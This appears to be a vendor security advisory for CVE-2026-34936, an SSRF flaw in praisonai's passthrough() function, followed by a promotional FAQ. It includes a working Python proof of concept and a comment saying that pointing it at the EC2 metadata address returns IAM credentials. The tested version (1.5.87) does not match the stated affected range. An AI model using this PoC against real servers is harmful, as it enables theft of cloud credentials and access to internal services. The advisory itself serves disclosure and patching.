CVE-2026-34936

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-34936 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.90); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34936? CVE-2026-34936 is a high-severity server-side request forgery (SSRF) vulnerability in praisonai (pip), affecting versions <= 4.5.89. It is fixed in 4.5.90. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-34936? CVE-2026-34936 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-34936? praisonai (pip) versions <= 4.5.89 is affected.
4. Is there a fix for CVE-2026-34936? Yes. CVE-2026-34936 is fixed in 4.5.90. Upgrade to this version or later.
5. Is CVE-2026-34936 exploitable, and should I be worried? Whether CVE-2026-34936 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34936 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34936? Upgrade praisonai to 4.5.90 or later.